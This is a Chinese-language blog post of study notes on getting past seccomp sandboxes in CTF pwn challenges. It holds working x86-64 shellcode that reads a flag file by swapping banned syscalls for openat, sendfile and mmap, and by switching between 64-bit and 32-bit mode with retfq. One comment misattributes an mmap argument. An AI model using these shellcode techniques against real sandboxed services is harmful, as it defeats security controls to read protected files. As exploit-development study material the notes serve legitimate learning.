shellcode沙盒禁用

orw禁用write,writev,open。
查了一下资料,sendfile可以用于替代write。而open可以被openat函数替代。
openat函数的系统调用

点击查看代码
shellcode_openat='''
 mov rax,0x67616c66;//设置第一个参数,为flag,文件名
 push rax; 
 mov rdi,-100//第二个参数设置为-100
 mov rsi,rsp
 xor rdx,rdx
 mov rax,257//系统调用号
 syscall
 '''
这里将fd设置为-100的原因是


所以可以将fd参数设为-100,但是在某些特定条件下应该不行。目前还不知道。
sendfile函数的系统调用

点击查看代码
shellcode_sendfile='''
 mov rdi, 1
 mov rsi, 3
 push 0
 mov rdx, rsp
 mov r10, 0x100//设置传输字节
 push SYS_sendfile//将操作码压栈
 pop rax//将操作码取出来,我也不知道为啥要绕个圈子
 syscall
 '''

沙盒禁用了read和readv,还有open和sendfile函数
由上可知open函数可被openat函数替代
而可以替代read函数的sendfile函数也被禁用了
这时,我们可以使用mmap函数。
mmap函数可以将文件映射出来,mmap函数的系统调用,汇编以及使用pwntools生成时的参数设置

点击查看代码
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode='''
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
'''

这种限制条件高的
可以看到只能使用图上几个函数
这里考到一个知识点,ftast函数在64进制的系统调用号和open函数在32位的系统调用号相等
还要用到x64框架和x86框架相互转换的知识,要用到retfq指令,是用来修改cs和IP的一个指令,这里的cs放的是段地址,ip寄存器放的是偏移量
cs寄存器中0x23是x86的运行模式,0x33是x64的运行模式

点击查看代码
shellcode_to_x86='''
push 0x23
push 0x40404050
retfq
'''
shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''
使用mmap映射一块32位可读写区域
点击查看代码
pay  = asm(shellcraft.mmap(0x10040,0x1000,7,34,0,0))//这里第四个参数设为7是因为这段区域同时需要可读写执行权限
pay += asm(shellcraft.read(0,0x10040,0x1000))//使可以写入代码
pay += asm('mov rax,0x10040;call rax')//把起始地址赋给rax寄存器,再执行这段请求区域的代码
然后就是写一段转换为x86工作模式,执行open,再转成x64模式执行rw的shellcode 示例
点击查看代码
shellcode_to_x86='''
push 0x23
push 0x40404050
retfq
'''
shellcode_open='''
mov esp,0x40404200
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''
shellcode_read='''
mov rdi,3
mov rsi,0x40404100
mov rdx,60
xor rax,rax
syscall
'''
shellcode_write='''
mov rsi,0x40404100
mov rdx,0x60
mov rdi,1
mov rax,1
syscall
'''
这些是最近学习shellcode沙盒禁用的一些笔记和总结
posted @ 2024-07-13 19:27  zouzou666  阅读(21)  评论(0编辑  收藏  举报